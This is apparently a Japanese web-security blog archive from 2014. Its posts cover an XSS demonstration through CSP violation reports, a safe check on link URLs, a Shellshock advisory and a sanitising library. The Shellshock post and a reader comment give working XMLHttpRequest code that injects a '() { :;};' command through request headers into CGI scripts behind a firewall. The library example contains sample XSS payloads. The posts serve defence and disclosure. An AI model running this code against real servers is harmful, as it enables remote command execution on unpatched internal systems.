Hatena::ブログ(Diary)

葉っぱ日記 このページをアンテナに追加

2014-11-17

[] AVTOKYO 2014で「CSPが切り開くWebセキュリティの未来」という題で話してきた  AVTOKYO 2014で「CSPが切り開くWebセキュリティの未来」という題で話してきたを含むブックマーク

AVTOKYO2014で、にしむねあさんといっしょに「はせむねあ」というユニット名でContent-Security-Policyをテーマに話をしてきました。

内容はスライドのとおりで、攻撃者はFiddlerなどを使って任意のCSP違反レポートJSONを送信可能であること、Firefoxの場合にはCSP違反レポートのJSON内に「<」「>」などが含まれるので、違反レポートを表示する管理画面でのエスケープ漏れがあると違反レポートを通じて管理画面内でXSSする、などの話を行い、実際に管理画面でのXSSのデモを行いました。

デモはあんまり細かいことは考えてなかったんですが、アドリブ苦手なにしむねあさんがいい味を出してて、横で見ていても楽しかったです。ちなみに直前の打ち合わせは以下のような感じでした。

  • にしむねあ「私、デモ直前にステージ上で衣装を替えようと思うんですが、はせがわさんどうします?」
  • はせがわ「攻撃者の格好してからステージに出ようと思ってたけど、じゃあ同じくステージ上でデモ前に準備しましょうか。」
  • にしむねあ「じゃあ前半のスライドを話すのどうします?間に合いませんよね?」
  • はせがわ「にしむねあさんに話すのも含めてやらせているという構図そのものもネタにしたいので、自己紹介以降全部にしむねあさんにお願いしちゃってもいいですか?」
  • にしむねあ「え?あ、はい…。」

ここからにしむねあさん超真面目な顔で台本を復習し始め本番へ。おかげでにしむねあさんは発表まで落ち着いて飲めなかったようですみませんでした!

ちなみに、あまりに細かすぎて伝わってなかった部分の補足:

  • 攻撃検知システムは Web Notifications API を使っていて、ブラウザが非アクティブでもXSSを検知した瞬間に右下に通知ウィンドウが出てきて教えてくれる便利仕様。
  • XSSの攻撃パターンはIMEに辞書登録。いちおう効果が弱そうな順に「メラ」「ギラ」「ベギラマ」「イオナズン」の読みを充ててました。
  • 時代はWebRTC。本当はXSSで攻撃者・管理者双方のカメラをONにして対談させたかったのですが、攻撃者・管理者あわせて1台のマシン上でデモを行っているので2台のカメラを動作させにくいのでああいうかたちになりました。

おまけ: https://www.flickr.com/photos/koyhoge/15608237270/

2014-10-30

[] JavaScriptでリンク先URLがhttp/httpsか確認する方法  JavaScriptでリンク先URLがhttp/httpsか確認する方法を含むブックマーク

JavaScriptで動的にリンクを生成する際に、DOM-based XSSを防ぐためにリンク先がhttpあるいはhttpsに限定されていることを確認したい場合がある。典型的には以下のようなコードとなる。

    var div, elm; 
    // 変数 url は攻撃者がコントロール可能な文字列
    if( url.match( /^https?:\/\// ) ){
        div = document.getElementById( "info" );
        elm = document.createElement( "a" );
        elm.setAttribute( "href", url );
        elm.appendChild( document.createTextNode( url ) );
        div.appendChild( elm );
    }

この場合、変数urlに「http://example.jp」や「https://example.jp」などが与えられたときにはA要素が生成されリンク先としてそれらのURLが設定され、「javascript:alert(1)」「vbscript:MsgBox 1」などの場合にはリンクは生成されず、DOM-based XSSを防ぐことができる。

ただし、このコードではurlには「http://」あるいは「https://」で始まる文字列であることが強制されるために、「/foo」のような文字列を与えて <a href="/foo"> のような相対URLのリンクを設定することができない。

このような場合に、与えられた文字列をパースして先頭部分にプロトコルらしきプレフィックスが含まれていなければ…のような処理を自分で書くことはあまりいい方法ではないのでどうしたものかと思案していたところ、malaさんから「elm.href = "javascript:"; elm.protocol でとれない?」と教えてもらった。A要素にprotocolプロパティがあるのも知らなかったので試してみたところ、以下のようなコードでメジャーなブラウザではうまくいくことがわかった。いくつかのブラウザではURLがhttpの相対リンクであってもelm.protocolが「:」や空文字になったりすることもあり、またURLが不正な場合にもelm.protocolが「:」や空文字になったりすることがある。ただし、不正なURLではクリックしてもDOM-based XSSは発生しないので特に問題はないと思われる。

    var div, elm; 
    // 変数 url は攻撃者がコントロール可能な文字列
    div = document.getElementById( "info" );
    elm = document.createElement( "a" );
    elm.setAttribute( "href", url );
    if( elm.protocol.match( /^https?:$/ ) || elm.protocol === ":" || elm.protocol === "" ){
        elm.appendChild( document.createTextNode( url ) );
        div.appendChild( elm );
    }

なお、A要素にはprotocolだけでなくhostやhostnameなどのプロパティもあるので、ChromeやFirefoxで new URL( url, location.href ); みたいに書いてたコードとほぼ同じことがIEでもできる。

相対パス解決したいときは大体これつかってますね、ブラウザの実装に頼る

DOMを信じろ! (by mala)

各ブラウザでの様々なURLを設定した場合のA要素のprotocolの値については http://utf-8.jp/test/a-elm-protocol.html にまとめておく。

2014-11-10追記: 関連: IE で a 要素を使って相対 URL からスキームを得る: Days on the Moon

2014-09-26

[] ファイアウォール内のサーバに対するShellshockを利用した攻撃  ファイアウォール内のサーバに対するShellshockを利用した攻撃を含むブックマーク

2014-09-27: 該当サイト上にXSSがなくても攻撃可能であることが id:mayuki さんのコメントで判明しましたので全面的に書き直しました。ファイアウォール内であっても攻撃者はファイアウォール内のShellshock攻撃が通用するCGIのURLがわかっているだけで攻撃可能ですので早急に対応が必要です!

会社のブログにも書いてますが、ファイアウォール内に置いてあるサーバで攻撃者が直接アクセスできないからといってbashの更新を怠っていると、条件によっては攻撃が可能となります。

条件としては、

  1. そのサーバにはシェルを経由して外部コマンドを起動するCGI等が動いている(通常のShellshockの攻撃と同条件)
  2. 攻撃者がそのURLを事前に知っている(あるいは推測可能)

となります。

攻撃者は、ユーザーを罠URLへ誘導し、以下のようなJavaScriptを罠ページ上で動かし、攻撃対象のWebアプリケーションへXHR経由でリクエストを発行します。

var xhr = new XMLHttpRequest();
xhr.open( "GET", "http://192.168.1.1/shellshock-vulnerable.cgi", true ); // ファイアウォール内のURL
xhr.onload = function(){};
xhr.setRequestHeader( "Accept", "() { :;}; ping -c 3 my-site.example.jp" );
xhr.send( null );

XHRによるAcceptヘッダの変更では、クロスオリジンのリクエストでもpreflightリクエストが発行されないため、上記JavaScriptによってファイアウォール内のCGIに対して正常にリクエストが発行されます。CGIではAcceptに指定された文字列が環境変数 HTTP_ACCEPT に設定されるため、この文字列がコマンドとして実行されてしまいます。

ここまで、「ファイアウォール内のサーバ」と説明しましたが、ファイアウォール内に限らずBASIC認証で保護されているサーバであっても全く同様に、ログイン済みのユーザーを罠URLへ誘導することで攻撃が可能となります。

該当サーバ上のShellshock攻撃が適用するURLを知られているというだけで攻撃可能になりますので、企業内等のサーバであっても可能な限り速やかにパッチの適用をしましょう。



これより以下は2014-09-27に変更するより前の記述で、不正確な内容です。

会社のブログにも書いてますが、ファイアウォール内に置いてあるサーバで攻撃者が直接アクセスできないからといってbashの更新を怠っていると、条件によっては攻撃が可能となります。

条件としては、

  1. そのサーバにはシェルを経由して外部コマンドを起動するCGI等が動いている(通常のShellshockの攻撃と同条件)
  2. そのサーバにはXSSのあるWebアプリケーションが存在している変更:この条件は攻撃者には不要)
  3. 攻撃者は1.および2.の両方のURLを事前に知っている(あるいは推測可能)

となります。

攻撃者は、ユーザーを罠URLへ誘導し、2.のXSSが存在するページを利用して以下のようなJavaScriptを攻撃対象のWebアプリケーション上で動かします。

var xhr = new XMLHttpRequest();
xhr.open( "GET", "/shellshock-vulnerable.cgi", true );
xhr.onload = function(){};
xhr.setRequestHeader( "X-test", "() { :;}; ping -c 3 my-site.example.jp" );
xhr.send( null );

XMLHttpRequestによってカスタムヘッダを付与することでCGIへは新たな環境変数を容易に与えることができます。また、クロスオリジンでのXMLHttpRequestによるリクエストの発行ではカスタムヘッダがついている場合にはpreflightと呼ばれるリクエストが事前に発行されるために通常はCGIは起動しませんが、XSSによって同一オリジン内でのリクエストとなるためにそういった制約も発生しません。

これにより、対象サイト上ではCGIの動作に伴い環境変数内の文字列がコマンドとして実行されてしまいます。

ここまで、「ファイアウォール内のサーバ」と説明しましたが、ファイアウォール内に限らずBASIC認証で保護されているサーバであっても全く同様に、ログイン済みのユーザーを罠URLへ誘導してXSSを経由することで攻撃が可能となります。

該当サーバ上にXSSがあること・攻撃者がそれらのURLを知っていることという条件は現実的には簡単には存在し得ないかも知れませんが、とはいえ「ファイアウォール内なので大丈夫」という安心もしていられないということになります。企業内等のサーバであっても可能な限り速やかにパッチの適用をしましょう。


(XSSを使わななくても、クロスオリジンで簡単に環境変数を設定できるようなリクエストの投げ方を知ってる人いたら教えてください!)

mayukimayuki 2014/09/27 01:33 レスポンスを受け取れなくてもよい(コマンドさえ実行できれば)という前提であれば
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/path/to/target/');
xhr.setRequestHeader('Accept', '() { :;}; ping -c 3 my-site.example.jp');
xhr.send();
ならpreflightなしでクロスドメインで送信できそうですがどうでしょう?

hasegawayosukehasegawayosuke 2014/09/27 22:39 うおー、いけますね!!!XSSいらない!

2014-09-12

[][] ブラウザ内で安全に文字列からDOMを組み立てるためのRickDOMというライブラリを書いた  ブラウザ内で安全に文字列からDOMを組み立てるためのRickDOMというライブラリを書いたを含むブックマーク

RickDOM - ricking DOM elements safety from string
https://github.com/hasegawayosuke/rickdom

ブラウザ内のDOMParserあるいはcreatHTMLDocument APIを使って不活性なDOMを組み立てたのちに、必要な要素と属性、スタイルだけを切り出して複製しているので、原理的にDOM based XSSの発生を抑えることができます。

使いかたも簡単。

var rickdom = new RickDOM();
var container = document.getElementById( "container" );
var elements;
var i;

// read allowings property to show default rule 
// div.textContent = JSON.stringify( rickdom.allowings, undefined, 2 );

// write allowings property if you want to customize rule.
// rickdom.allowings = { a : { href : { pattern : "^https?:\\/\\/", flag : "i" }, title : "" } };

// build method returns array of HTMLElement.
elements = rickdom.build( '<img src=# onerror=alert(1)><a href="http://example.jp/">example.jp</a><br><a href="javascript:alert(1)">javascript</a>' );
for( i = 0; i < elements.length; i++ ){ 
    container.appendChild( elements[ i ] );
}

実際に動いているデモ画面はこちら。

詳しい話はこのあたりを参照。

2014-08-11

[] LINE株式会社 に行ってきた!  LINE株式会社 に行ってきた!を含むブックマーク

台風一過!はせがわです。

というわけで、Shibuya.XSSの会場を快く貸してくださったLINE株式会社さんに行ってきた!

サイボウズのバグハンター合宿で疲れた体を引きずりながら大勢で魔宮である渋谷駅を抜けヒカリエへ。

出迎えてくれたのはおなじみのコニー、ブラウン、ムーンをはじめとする愛らしいキャラクターの面々。

f:id:hasegawayosuke:20140807183149j:image:w360

ジェームズとジェシカもお出迎え。

f:id:hasegawayosuke:20140807183204j:image:w360

見晴しのいい窓際にも。

f:id:hasegawayosuke:20140807183232j:image:w360

遠くには夕焼けの富士山も見える!

f:id:hasegawayosuke:20140807184153j:image:w360

大量のレッドブルを前にご満悦の941さん。

f:id:hasegawayosuke:20140807191000j:image:w360

というわけで、夜遅くのグデグデな勉強会なのに快く会場をお貸しくださったLINE様、941さん、ありがとうございました!
雑なパクリ風味記事ですみません><

----

ちなみに、Shibuya.XSS テクニカルトーク #5の内容や資料については、いつもどおり azu さんによる記事:Shibuya.XSS テクニカルトーク #5 アウトラインメモ | Web Scratchにまとまっています。

それはそれとして、Shibuya.XSS テクニカルトーク #5ですが、会場への入場を開始時刻の19時30分で打ち切ったために申し込んでいたのに入場できなかったという人が発生してしまいました。事前にきちんと連絡できていればよかったのですが、こちらの不手際でせっかくの参加の機会を不意にしてしまい申し訳ない限りです。すみません。次回からはきちんと事前に入場可能な時刻を明示できるようにしておきます。

そして、Shibuya.XSSに限らないのですが、都内で100人規模の勉強会を開催するときに申し込みを開始したとたんに1-2時間程度で全席が埋まってしまうということも珍しくなくなっていて、たまたま申込み開始のタイミングでネットに触れることができた人による早い者勝ちな状況は、果たして正しい状態なのだろうかという思いもあります。もちろん主催する側としては高倍率で参加枠が瞬殺というのは嬉しくはあるのですが、その嬉しさは単純で原始的なものでしかなく、たまたまタイミングよくTwitterを見ていたから参加できたという人がいる裏側に、本当に参加したい・主催側からも参加してくれればというような人が参加できていないというのは決して望ましい状況ではないかと思うわけです。

今回のShibuya.XSSでも80名の参加枠に対して参加希望者が倍の160名ということもあり、「この人がトークを聞いてくれれば様々な形でもっとフィードバックをくれるのに」というような方が多数漏れてしまっており、そういった方々のうちの何名かには当日スタッフとしてお手伝いという形で参加して頂きました。そんなわけで、次回(いつになるのかまったくわからないけれど)Shibuya.XSSを開催する場合には、もしかすると席数の半分くらいは「参加してくれたら面白そう」と開催側やスピーカーが思える人のために事前に確保、みたいなかたちになるかも知れません。そうでないとスピーカーは話してても面白くないもんね!